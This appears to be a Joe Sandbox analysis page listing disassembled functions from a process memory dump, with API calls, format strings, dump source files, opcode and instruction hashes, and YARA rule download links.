                                                    Function 00007FF6BF3D3D94 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: InformationProcess$CurrentDirectoryQuery_setjmp_wcsnicmpwcsrchr
                                                    • String ID: %9d
                                                    • API String ID: 1006866328-2241623522
                                                    • Opcode ID: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
                                                    • Instruction ID: 44372681880173baf853d199084aa7e7efa4ae9b35d4df2542f4e5b38a3b624a
                                                    • Opcode Fuzzy Hash: 62d65c6c863574456e8a18a26f120651995e0feaf5acd41ec6a68f480e3dc1f6
                                                    • Instruction Fuzzy Hash: 7F517F72A086528AE700CFA9E8405A93BB4FB447A4F404635DB2DD77B6DF7CEA54CB40
                                                    Function 00007FF6BF3D8DF8 Relevance: 7.8, APIs: 5, Instructions: 281COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset
                                                    • String ID:
                                                    • API String ID: 2221118986-0
                                                    • Opcode ID: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
                                                    • Instruction ID: fd75e33b2dceb67838510b7933e32f78b3270a9f3fac646339ddec039850144d
                                                    • Opcode Fuzzy Hash: 4ec132db5a5163512eeab285e6cca4fd0bb6ff7b6cd64baaaa3bea2245e3dd05
                                                    • Instruction Fuzzy Hash: EDC1F236A0978286EB61DFA9E850AF963A4FF94788F044531DB1D8B7B5DF3CE5508380
                                                    Function 00007FF6BF3D9B50 Relevance: 7.8, APIs: 5, Instructions: 252COMMON
                                                    Download Yara Rule
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$AllocProcess
                                                    • String ID:
                                                    • API String ID: 1617791916-0
                                                    • Opcode ID: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                    • Instruction ID: 06d44feed41ecf43a410f5a6ca5d306d97272e529965c83e94f0754a1b2be370
                                                    • Opcode Fuzzy Hash: 3743209a10b96ebcc181eebe11116311313ddf8ce3d63fdcd25b8e532d2a8f02
                                                    • Instruction Fuzzy Hash: 23A1B125A1965282EB609FADA4516B977A0FF88B80F405135EF4ECB7B1DF3CE411C780
                                                    Function 00007FF6BF3FFB54 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 112COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$DiskFreeSpace
                                                    • String ID: %5lu
                                                    • API String ID: 2448137811-2100233843
                                                    • Opcode ID: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                    • Instruction ID: 211a3c2c11d61bee41ef6cc9007ddb7ba5aee203645d1218b5325a3f5a80e8cf
                                                    • Opcode Fuzzy Hash: a32004ad0b0cd9a1642accdea686924f5f32727604a55ba99b3828265f09f6cb
                                                    • Instruction Fuzzy Hash: 5D419E36608AC185EB61DFA9E8406EA7360FB84788F448032EE4D8BB69DF7CD549C740
                                                    Function 00007FF6BF3DD250 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: _wcsicmp
                                                    • String ID: GeToken: (%x) '%s'
                                                    • API String ID: 2081463915-1994581435
                                                    • Opcode ID: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                    • Instruction ID: 26e015511ddd798a7ed881beb301f9519d9241e37dfdc475d7cf27c88226dfb9
                                                    • Opcode Fuzzy Hash: fe18cb0ed8500a4f68af4489c4d2b16fbbaa9a87b1c7dbde9da4f66a5e2be525
                                                    • Instruction Fuzzy Hash: 8071AC29E4C25385FB649BECA8442B53BE0AF10790F445939D70ECA6F2DFBCE5918780
                                                    Function 00007FF6BF3D81D4 Relevance: 4.8, APIs: 3, Instructions: 299COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr
                                                    • String ID:
                                                    • API String ID: 1497570035-0
                                                    • Opcode ID: e0e39bf442d6dcfd9436b6d2842294aeb06884c7ddad4889aba3c1e8f15d8aa4
                                                    • Instruction ID: 508ea9c7cf55bc8268f46db10a9a0320fb5cf956a91057580b7ab06632773e92
                                                    • Opcode Fuzzy Hash: e0e39bf442d6dcfd9436b6d2842294aeb06884c7ddad4889aba3c1e8f15d8aa4
                                                    • Instruction Fuzzy Hash: E0C12375A1C64282EA50AB9DA4402B977A0FF84794F044136EB9ECB7F6DF3CF8418380
                                                    Function 00007FF6BF3F7B4C Relevance: 4.8, APIs: 3, Instructions: 269fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Find$File$CloseFirstNext
                                                    • String ID:
                                                    • API String ID: 3541575487-0
                                                    • Opcode ID: 56e533f62de2e302ba9a5b3475642777aff6c12fc228326da18867365cac5796
                                                    • Instruction ID: 454ac9d833dad83e48038c69e7af126b3f3eb796dbb44388038f72daf549be91
                                                    • Opcode Fuzzy Hash: 56e533f62de2e302ba9a5b3475642777aff6c12fc228326da18867365cac5796
                                                    • Instruction Fuzzy Hash: F9A13661B1829241EEA49FAD94142BD6790EF55BE0F444335EF6ECB7E4EE3CE8018380
                                                    Function 00007FF6BF3D6BE0 Relevance: 4.7, APIs: 3, Instructions: 184COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3DCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDA6
                                                      • Part of subcall function 00007FF6BF3DCD90: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6BF3DB9A1,?,?,?,?,00007FF6BF3DD81A), ref: 00007FF6BF3DCDBD
                                                    • _pipe.MSVCRT ref: 00007FF6BF3D6C1E
                                                    • _get_osfhandle.MSVCRT ref: 00007FF6BF3D6CD1
                                                    • DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF6BF3D6CFB
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heapwcschr$AllocDuplicateHandleProcess_dup_dup2_get_osfhandle_pipe_wcsicmpmemset
                                                    • String ID:
                                                    • API String ID: 624391571-0
                                                    • Opcode ID: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
                                                    • Instruction ID: 2b0f30f702b6bc44306c552ff1b1ebe3f25611662938668ca2c1dfbe81c4f090
                                                    • Opcode Fuzzy Hash: 47eda0b50bd71a54bf69730aae11c552028e8b9e5938e1f45885d11fc8581733
                                                    • Instruction Fuzzy Hash: 06718C35A0864286E7549FADE8400797BA1EF89754B148238DB6DDB3F6CF3CE9618780
                                                    Function 00007FF6BF3F63FC Relevance: 4.7, APIs: 3, Instructions: 179threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CurrentDebugDebuggerOutputPresentStringThread
                                                    • String ID:
                                                    • API String ID: 4268342597-0
                                                    • Opcode ID: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
                                                    • Instruction ID: 8e7f2e595b22785d8051ea399b043de4ea6f15daff07422ea0013016829e7115
                                                    • Opcode Fuzzy Hash: dd079414f8549339cb4fded4247a4dbae90aea18fcb15bc8c39707241a1b23ff
                                                    • Instruction Fuzzy Hash: A2814032A1878281FBA49FA9A84023977A0FF95B84F184135CF4D8B775DF7DE4818780
                                                    Function 00007FF6BF3E88C0 Relevance: 4.6, APIs: 3, Instructions: 68nativethreadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: OpenToken$CloseProcessThread
                                                    • String ID:
                                                    • API String ID: 2991381754-0
                                                    • Opcode ID: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
                                                    • Instruction ID: 8a442663017099ccd58f3d8932fe43eccf9d93336d9afd8c80605c083ad16380
                                                    • Opcode Fuzzy Hash: 4ce3de64b8687a78417f54647f77f6de0b0f09df9b2bc4953d3ae018d63077cb
                                                    • Instruction Fuzzy Hash: DB219F32E18682CBE7408BD8D4402BDBBA0EF857A2F504135EB59C76A4DF7CE849CB40
                                                    Function 00007FF6BF3D586C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetVersion.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,00000000,00007FF6BF3FC59E), ref: 00007FF6BF3D5879
                                                      • Part of subcall function 00007FF6BF3D58D4: RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3D5903
                                                      • Part of subcall function 00007FF6BF3D58D4: RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3D5943
                                                      • Part of subcall function 00007FF6BF3D58D4: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF6BF3D5956
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseOpenQueryValueVersion
                                                    • String ID: %d.%d.%05d.%d
                                                    • API String ID: 2996790148-3457777122
                                                    • Opcode ID: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
                                                    • Instruction ID: a2473509c156aa1a8976bab5cfbae2cb571742aa01170df714ea92128b3cf8e1
                                                    • Opcode Fuzzy Hash: 4d5ad80169b63ecb9418821cd297058139bf77423c780748cae3bcfdcd848c3f
                                                    • Instruction Fuzzy Hash: D9F0A072A1838187D3109FA9B44006AABA1FB88780F508138DA4A4BB6ACF7CD524CB40
                                                    Function 00007FF6BF3E7854 Relevance: 3.3, APIs: 2, Instructions: 296COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$ErrorFileFindFirstLast
                                                    • String ID:
                                                    • API String ID: 2831795651-0
                                                    • Opcode ID: 43a4daf2934dc4b37ff691b1a4b1263eebb1773a1fb1ad015dd0d80b276b2dc6
                                                    • Instruction ID: 6e4d223ac6699a1f066e1680b4bc7acbcfe9efbe2ab37f8e4c3ed22af558aa8e
                                                    • Opcode Fuzzy Hash: 43a4daf2934dc4b37ff691b1a4b1263eebb1773a1fb1ad015dd0d80b276b2dc6
                                                    • Instruction Fuzzy Hash: EED1F972A2868286EB60DFA9E4402BA77A1FF44798F101135DF5D8B7A8DF3CD941C790
                                                    Function 00007FF6BF3D7D30 Relevance: 3.3, APIs: 2, Instructions: 252COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • memset.MSVCRT ref: 00007FF6BF3D7DA1
                                                      • Part of subcall function 00007FF6BF3E417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3E41AD
                                                      • Part of subcall function 00007FF6BF3DD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD46E
                                                      • Part of subcall function 00007FF6BF3DD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6BF3DD485
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD4EE
                                                      • Part of subcall function 00007FF6BF3DD3F0: iswspace.MSVCRT ref: 00007FF6BF3DD54D
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD569
                                                      • Part of subcall function 00007FF6BF3DD3F0: wcschr.MSVCRT ref: 00007FF6BF3DD58C
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3D7EB7
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: wcschr$Heapmemset$AllocCurrentDirectoryProcessiswspace
                                                    • String ID:
                                                    • API String ID: 168394030-0
                                                    • Opcode ID: a65c63928f551fb8768bc8e3d10b498b84304c82453fdb636945e23039fb0caa
                                                    • Instruction ID: 6850ced606e7c3f2fdb4eaaec31b5cb57972083db9fb8b7d61ca9007cf371b16
                                                    • Opcode Fuzzy Hash: a65c63928f551fb8768bc8e3d10b498b84304c82453fdb636945e23039fb0caa
                                                    • Instruction Fuzzy Hash: 43A1E131B1864285FB65CBAD98502BA23A1BF84784F404135DB5ECBAF5DF3CED468390
                                                    Function 00007FF6BF3E89E4 Relevance: 3.0, APIs: 2, Instructions: 43nativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: InformationQueryToken
                                                    • String ID:
                                                    • API String ID: 4239771691-0
                                                    • Opcode ID: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
                                                    • Instruction ID: 3707f075023b3c5b92d01979f634e32ae4ac52973fae68f68b7fd110eb5ee843
                                                    • Opcode Fuzzy Hash: ea3ebf219b67d46e5b1987a5c063cf7b613a027b1816fa6f4767aceb48b770b4
                                                    • Instruction Fuzzy Hash: 72115E72B18781CBEB108F85E4003A9BBA4FB95795F008131DB48866A4DFBDE589CB50
                                                    Function 00007FF6BF3E8114 Relevance: 3.0, APIs: 2, Instructions: 41filenativeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: FileInformation$HandleQueryVolume
                                                    • String ID:
                                                    • API String ID: 2149833895-0
                                                    • Opcode ID: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
                                                    • Instruction ID: 65c8b215b22943b855ff340f4af50b2fec70e0baf87d36ae6a29d83422d3703e
                                                    • Opcode Fuzzy Hash: 625d3b3e026192d6aa05ab746e3d747582aa1c91c48dbe730e9190b973acbc48
                                                    • Instruction Fuzzy Hash: 7111A332A187C186E7608FA4F4403AEB7A0FB44B44F404531DB8D86A65DFBCD849DB40
                                                    Function 00007FF6BF3F8654 Relevance: 3.0, APIs: 2, Instructions: 39timeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,?,?,?,?,?,00000000,00007FF6BF3F4227), ref: 00007FF6BF3F8678
                                                    • SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?,?,?,?,?,00000000,00007FF6BF3F4227), ref: 00007FF6BF3F86D4
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
